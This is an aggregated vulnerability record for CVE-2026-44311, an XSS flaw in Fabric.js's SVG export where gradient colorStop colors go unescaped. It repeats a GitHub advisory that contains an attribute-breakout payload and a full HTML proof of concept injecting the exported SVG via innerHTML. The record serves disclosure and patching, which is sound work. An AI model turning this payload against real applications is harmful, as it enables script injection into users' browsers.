{"id":"CVE-2026-44311","aliases":["EUVD-2026-38399","GHSA-w22m-hvvm-xmwx"],"status":"published","title":"Fabric.js: Improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization","description":"Fabric.js is a Javascript HTML5 canvas library. Prior to 7.4.0, a potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG \u003cstop\u003e elements. If an application renders the generated SVG string into the DOM, this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. This vulnerability is fixed in 7.4.0.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00271,"percentile":0.19714,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116","CWE-79"],"published":"2026-06-12T21:00:32Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"npm","package":"fabric","fixed_in":["7.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fabric","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.4.0"}]}]},{"source":"osv","ecosystem":"npm","package":"fabric","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.4.0"}]}]}],"products":[{"vendor":"fabricjs","product":"fabric.js"}],"references":[{"url":"https://github.com/fabricjs/fabric.js/security/advisories/GHSA-w22m-hvvm-xmwx","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/fabricjs/fabric.js/releases/tag/v740","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44311","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w22m-hvvm-xmwx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44311.json","tags":["advisory"]},{"url":"https://github.com/fabricjs/fabric.js","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44311","title":"Fabric.js: Improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization","description":"Fabric.js is a Javascript HTML5 canvas library. Prior to 7.4.0, a potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG \u003cstop\u003e elements. If an application renders the generated SVG string into the DOM, this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. This vulnerability is fixed in 7.4.0.","status":"published","published":"2026-06-22T20:50:56.69Z","modified":"2026-06-23T16:13:58.645Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79","CWE-116"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-38399","description":"Fabric.js is a Javascript HTML5 canvas library. Prior to 7.4.0, a potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG \u003cstop\u003e elements. If an application renders the generated SVG string into the DOM, this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. This vulnerability is fixed in 7.4.0.","status":"published","published":"2026-06-22T20:50:56Z","modified":"2026-06-23T16:13:58Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:20:32.768333Z"}],"ghsa":[{"id":"GHSA-w22m-hvvm-xmwx","title":"Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization","description":"### Summary\n\nA potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method.\n\nSpecifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `\u003cstop\u003e` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.\n\n### Details\n\nDuring SVG export, Fabric.js serializes gradient color stops into `\u003cstop\u003e` elements like:\n\n```xml\n\u003cstop offset=\"0\" stop-color=\"...\"\u003e\u003c/stop\u003e\n```\n\nHowever, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `\"`, `\u003c`, and `\u003e`. This allows crafted input to break out of the attribute context and inject arbitrary markup.\n\nFor example:\n```js\ncolor: 'red\"\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e'\n```\n\nmay result in:\n```xml\n\u003cstop offset=\"0\" stop-color=\"red\"\u003e\n\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\n```\nThis breaks the intended SVG structure and introduces executable HTML.\n\n### PoC (Proof of Concept)\n\nSuccessfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n   \u003ctitle\u003eFabric.js SVG Export XSS Bypass Test\u003c/title\u003e\n   \u003cscript src=\"[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n   \u003ch1\u003eFabric.js SVG Export XSS Bypass Test (Gradient Color)\u003c/h1\u003e\n   \u003ccanvas id=\"c\" width=\"400\" height=\"300\"\u003e\u003c/canvas\u003e\n   \n   \u003ch3\u003eSVG Output Rendering:\u003c/h3\u003e\n   \u003cdiv id=\"svg-output\" style=\"border: 1px solid #ccc; padding: 10px; margin-top: 10px;\"\u003e\u003c/div\u003e\n\n   \u003cscript\u003e\n       setTimeout(() =\u003e {\n           const canvas = new fabric.Canvas('c');\n           \n           // Construct a malicious gradient object\n           const maliciousGradient = new fabric.Gradient({\n               type: 'linear',\n               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },\n               colorStops: [\n                   {\n                       offset: 0,\n                       // Inject XSS payload to prematurely close the attribute/tag\n                       color: 'red\"\u003e\u003cimg src=\"x\" onerror=\"alert(\\'XSS Triggered Successfully!\\')\"\u003e'\n                   },\n                   { offset: 1, color: 'blue' }\n               ]\n           });\n\n           const rect = new fabric.Rect({\n               left: 50, top: 50, width: 300, height: 100,\n               fill: maliciousGradient\n           });\n\n           canvas.add(rect);\n\n           // Export to SVG string containing the malicious code\n           const svgOutput = canvas.toSVG();\n\n           // Render on the page to trigger the XSS\n           document.getElementById('svg-output').innerHTML = svgOutput;\n       }, 100);\n   \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nThis issue can lead to XSS in applications that:\n1. Allow user-controlled input in gradient definitions (e.g., color values)\n2. Use `canvas.toSVG()` to export content\n3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`)\n\nSuccessful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.\n\n### Suggested Fix\n**Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.","status":"published","published":"2026-06-12T21:00:32Z","modified":"2026-07-18T17:26:22Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79","CWE-116"],"updated_at":"2026-11-02T14:40:46.257074Z"}],"nvd":[{"id":"CVE-2026-44311","description":"Fabric.js is a Javascript HTML5 canvas library. Prior to 7.4.0, a potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG \u003cstop\u003e elements. If an application renders the generated SVG string into the DOM, this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. This vulnerability is fixed in 7.4.0.","status":"published","published":"2026-06-22T22:16:46.2Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79","CWE-116"],"updated_at":"2026-11-02T14:12:25.288279Z"}],"osv":[{"id":"CVE-2026-44311","title":"Fabric.js: Improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization","description":"Fabric.js is a Javascript HTML5 canvas library. Prior to 7.4.0, a potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG \u003cstop\u003e elements. If an application renders the generated SVG string into the DOM, this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. This vulnerability is fixed in 7.4.0.","status":"published","published":"2026-06-22T20:50:56.69Z","modified":"2026-10-28T02:30:39.224903187Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-116","CWE-79"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-w22m-hvvm-xmwx","title":"Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization","description":"### Summary\n\nA potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method.\n\nSpecifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `\u003cstop\u003e` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.\n\n### Details\n\nDuring SVG export, Fabric.js serializes gradient color stops into `\u003cstop\u003e` elements like:\n\n```xml\n\u003cstop offset=\"0\" stop-color=\"...\"\u003e\u003c/stop\u003e\n```\n\nHowever, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `\"`, `\u003c`, and `\u003e`. This allows crafted input to break out of the attribute context and inject arbitrary markup.\n\nFor example:\n```js\ncolor: 'red\"\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e'\n```\n\nmay result in:\n```xml\n\u003cstop offset=\"0\" stop-color=\"red\"\u003e\n\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e\n```\nThis breaks the intended SVG structure and introduces executable HTML.\n\n### PoC (Proof of Concept)\n\nSuccessfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n   \u003ctitle\u003eFabric.js SVG Export XSS Bypass Test\u003c/title\u003e\n   \u003cscript src=\"[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n   \u003ch1\u003eFabric.js SVG Export XSS Bypass Test (Gradient Color)\u003c/h1\u003e\n   \u003ccanvas id=\"c\" width=\"400\" height=\"300\"\u003e\u003c/canvas\u003e\n   \n   \u003ch3\u003eSVG Output Rendering:\u003c/h3\u003e\n   \u003cdiv id=\"svg-output\" style=\"border: 1px solid #ccc; padding: 10px; margin-top: 10px;\"\u003e\u003c/div\u003e\n\n   \u003cscript\u003e\n       setTimeout(() =\u003e {\n           const canvas = new fabric.Canvas('c');\n           \n           // Construct a malicious gradient object\n           const maliciousGradient = new fabric.Gradient({\n               type: 'linear',\n               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },\n               colorStops: [\n                   {\n                       offset: 0,\n                       // Inject XSS payload to prematurely close the attribute/tag\n                       color: 'red\"\u003e\u003cimg src=\"x\" onerror=\"alert(\\'XSS Triggered Successfully!\\')\"\u003e'\n                   },\n                   { offset: 1, color: 'blue' }\n               ]\n           });\n\n           const rect = new fabric.Rect({\n               left: 50, top: 50, width: 300, height: 100,\n               fill: maliciousGradient\n           });\n\n           canvas.add(rect);\n\n           // Export to SVG string containing the malicious code\n           const svgOutput = canvas.toSVG();\n\n           // Render on the page to trigger the XSS\n           document.getElementById('svg-output').innerHTML = svgOutput;\n       }, 100);\n   \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nThis issue can lead to XSS in applications that:\n1. Allow user-controlled input in gradient definitions (e.g., color values)\n2. Use `canvas.toSVG()` to export content\n3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`)\n\nSuccessful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.\n\n### Suggested Fix\n**Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.","status":"published","published":"2026-06-12T21:00:32Z","modified":"2026-07-18T17:30:29.159820837Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-116","CWE-79"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}
